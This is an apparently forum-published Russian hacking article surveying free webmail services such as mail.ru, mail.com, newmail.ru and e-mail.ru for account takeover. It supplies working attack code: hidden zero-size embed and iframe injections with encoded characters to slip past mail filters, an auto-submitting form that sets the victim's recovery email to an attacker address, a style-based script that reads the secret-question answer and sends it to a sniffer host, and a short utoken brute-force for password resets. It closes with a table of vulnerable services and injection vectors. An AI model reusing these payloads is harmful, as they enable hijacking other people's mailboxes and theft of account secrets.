ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ

Продолжаем заниматься web-почтой. Я провел небольшое исследование различных служб на предмет взлома и представляю вашему вниманию результаты. Технология атаки остается прежней: на чужой адрес отсылается письмо с JavaScript-кодом, который срабатывает при открытии письма, и меняет какую-либо информацию в настройках ящика пользователя. Нет смысла подробно описывать каждый сервер, так как подход везде одинаков, поэтому приведу несколько примеров, а в конце - таблицу. В большинстве случаев взлом можно считать 100%-ным, с некоторыми допущениями: пользователь должен обязательно использовать web-интерфейс для чтения писем, при написании эксплойтов я ориентировался на стандартную платформу, то есть изначально предполагаю, что у пользователя не какая-нибудь экзотическая ОС или браузер с отключенным выполнением JS.

WWW.MAIL.RU

Начну с почты №1 в России. На данный момент, благодаря пропусканию JavaScript и одной ошибке разработчиков, взлом этого ящика осуществить можно. Полагаю, что основные принципы общеизвестны. Как получить пароль? 1 - несанкционированно сменить его. Не пройдет, нужно знать ранее установленный. 2 - поменять секретный вопрос и воспользоваться службой борьбы с амнезией. Тоже не пройдет. 3 - установить свой альтернативный Email, чтобы получить на него новый, сгенерированный системой пароль. Не получится, последние две вышеперчисленные опции находятся в одной форме и также защищены паролем. Даже остальные, представляющие для нас меньший интерес настройки (Имя, фамилия и тд) теперь без ввода текущего пароля сменить не удастся. Казалось бы вариантов нет. Однако есть такой второстепенный по важности , неприметный раздел настроек "Контактная информация"(ICQ, сайт, телефон, место работы, часовой пояс и тд). В этом разделе можно также указать контактный Email. Весь фокус в том, что при этом в регистрационной информации альтернативный адрес меняется но тот, что прописан в анкете, и теперь можно получить пароль на мыло, воспользовавшись службой напоминания. Все просто. URL: http://win.mail.ru/cgi-bin/anketa?page=2&Email=hacker@antichat.ruПравда методом GET смену настроек в ящике mail.ru теперь произвести нельзя, поэтому подробно опишу техническую сторону вопроса.

I. Отсылаем на нужный ящик письмо с кодом, который сгенерирует непосредственно в теле письма фрейм со ссылкой на наш сайт. По возможности скрипт должен срабатывать без какого-либо участия пользователя (нажатие, клик, наведение мышкой, загрузка изображения и тд):


<embed src="javascript:document.getElementById('xxx').innerHTML='<iframe src=http://yoursite.yourdomain.ru/yourscript.html></iframe>';this.wav">
<p id='xxx'>
Для того чтобы полностью обеспечить работоспособность скрипта, а так же маскировку, преобразуем:
<embed src="javascript:status=location;document.getElementById('xxx').innerHTML='<iframe src=http://yoursite.ru/yourscript.html width=0 height=0></iframe>';this.wav" width=0 height=0>
<p id='xxx'>
В таком виде, коды символов заменяют буквы в имени элементов javascript и iframe, и почтовый скрипт не отфильтровывает их. Строчка status=location; создает в строке состояния видимость локального URL, чтобы постороннее мелькание не вызывало подозрений. Аттрибуты width и height, как фрейма, так и embed задаются равными нулю, и делают их невидимыми.

II. На ресурсе http://yoursite.ru распологаем HTML-документ с формой отправки измененных данных на сервер mail.ru.

Содержимое yourscript.html:
<form method="post" action="http://win.mail.ru/cgi-bin/anketa" name="anketa"><br>
<input type="hidden" name="page" value="2"><br>
<input type="hidden" name="Email" value="hacker@antichat.ru"><br>
<input type="hidden" value="Сохранить" name="Save"><br>
</form><br>
<script><br>
document.anketa.submit();<br>
</script>
Примечания: работу клиентской части скрипта в неизмененном виде гарантирую только для IE; форма отправки размещается на отдельном сайте специально, чтобы "разгрузить" письмо.


WWW.MAIL.COM

   Теперь несколько иная ошибка безопасности, на примере http://mail.com. Если воспользоваться службой напоминания пароля, то для его получения достаточно ввести правильный ответ на секретный вопрос (один из вариантов). Значит ставим перед собой задачу получить этот ответ. Делается это легко. Когда я зашел в свойства почтового ящика и просматрел регистрационную информацию, то уидел, что ответ на секретный вопрос не скрывается, что и позволяет нам с помощью JavaScript считать его значение.

Внедряем скрипт через тэг style.
Адрес страницы с настройками: http://mail01.mail.com/scripts/common/genprofile.cgi
Имя формы: profileform
Имя поля text с секретным ответом: hint_a
В итоге, чтобы украсть секретный вопрос, нужно вызвать страницу настроек, запустить JavaScript, получить значение document.profileform.hint_a.value, и передать его на сниффер вместе с переменной среды окружения REQUEST_URI.

Готовый вариант:
<style>@import url(javascript:document.getElementById('out').innerHTML="<iframe src=http://mail01.mail.com/scripts/common/genprofile.cgi name='zero' %6FnLoad=`str=document.zero.profileform.hint_a.value; path='http://zero.h12.ru/stat/capt.php?'; document.zero.location=path+str`></iframe>");</style>
<span id='out'></span>
В сгенерированном фрейме с именем zero загружается страница настроек. По окончании загрузки, обработчик OnLoad запускает скрипт считывания секретного вопроса, а после, через этот же фрейм отправляет ответ на сниффер. Теперь достаточно зайти по адресу http://zero.h12.ru/stat/log.php, и найти нужную информацию в строке "Host".

WWW.NEWMAIL.RU

На мой взгляд, довольно популярный почтовик, поэтому расскажу о нём подробно. Тем более, что завладеть чужим аккаунтом на нем намного проще чем кажется с первого взгляда. Можно сделать так: отослать письмо со скриптом, который при запуске получит session id, сформирует нужные запросы, и сменит в настройках значения альтренативного email (на который потом вышлется пароль) и секретного вопроса и ответа. Однако, если при напоминании указать любой другой адрес, пароль вышлется и на него, лишь бы секретный ответ был правильным. И следующее наблюдение: session id для смены настроек можно ВООБЩЕ не использовать. Плюс ко всему, разрешены любые тэги. Все вышеописанное сводит объем кода до пары строк:
<iframe src=http://newmail.ru/users/chpass.dhtml?cp_msg=1&cp_quest=ВОПРОС&cp_answ=ОТВЕТ width=0 height=0></iframe> 

WWW.E-MAIL.RU

Метод взлома e-mail.ru несколько не вписывается в общую тематику статьи, но все же - почта:). Когда мне потребовалось получить пароль от одного ящика, я как обычно зарегистрировал себе аккаунт и начал исследовать систему. Первое что бросилось в глаза - возможность установить новый пароль и секретный вопрос с ответом, без ввода старого пароля. План действий обычный: проверить фильтрацию тэгов, получить ID и выполнить запрос. Однако для изменения настроек использовалась специальная переменная utoken, которая содержится в теле документа. Поэкспериментировав со сменой вопроса и ответа с заранее известной utoken:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&utoken=email@e-mail.ru-5a00&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТя пришел к выводу, что ID и cookies для смены настроек не требуется. При этом, после наблюдения за utoken, обнаружилось что четырехзначное шестнадцатиричное число после адреса почты email@e-mail.ru-5a00 лежит в весьма узком диапазоне. А именно, чтобы установить секретный вопрос с ответом на любом интересующем нас ящике, нужно перебрать всего 7 вариантов: 5a00, 5b00, 5c00, 5d00, 5e00, 5f00, 6000. Когда число будет угадано, мы попадем в нужный ящик.

Примечания: на данный момент произошли некоторые изменения. Служба восстановления паролей не работает, поэтому целесообразно сразу его изменять. Адрес смены настройки тоже изменился:
http://www.e-mail.ru/scripts/netauth.dll?cmd=passwd2&show=passwd.tpl&utoken=email@e-mail.ru-5a00&u_token=email@e-mail.ru-5c00&show=passwd.tpl&pass=&repass=&pquestion=ВОПРОС&panswer=ОТВЕТСпособ работает невсегда. Вероятно, все-таки требуется, чтобы пользователь время от времени заходил в почту через web.

Таблица с характеристиками бесплатных WWW-серверов

СЕРВЕРJavaScriptУЯЗВИМОСТЬ
www.km.ru
km.ru
img src=javascript:Позволяет прочитать пароль со страницы настроек из поля password
www.mail.ru
inbox.ru, bk.ru, list.ru,
embed src=javascript:Можно изменить альтернативный email
www.mail.com
email.com, post.com, myself.com, consultant.com и др.
@ import url( javascript: );В настройках показан ответ на секретный вопрос
www.newmail.ru
nm.ru, hotmail.ru, orc.ru, nightmail.ru
Любым способомПрочитать/изменить вопрос и ответ. Пароль выдается действующий
www.netman.ru и www.mailgate.ru
один и тот же почтовик. около 80 доменов
img src=javascript: , style=background: url(javascript: )Можно украсть ответ на секретный вопрос, если он установлен. Также возможно устновить адрес для пересылки(копии не сохраняются)
www.yandex.ruOnError, OnLoadУдаление сайта *.narod.ru (JS не требуется)
www.ukr.netembed src = javasc
ript :this .wav>
Считываем ответ на секретный вопрос
www.nextmail.ru
xaker.ru, email.su, russian.ru, students.ru, programist.ru, designer.ru, mail2k.ru,
embed src="javascript:Поменять/украсть ответ на секретный вопрос
www.hotbox.ru
pochta.ru, pisem.net, fromru.com, land.ru, и др.
Многими способамиУдаление аккаунта
www.rin.ruembed src=javascript:Прочитать секретный ответ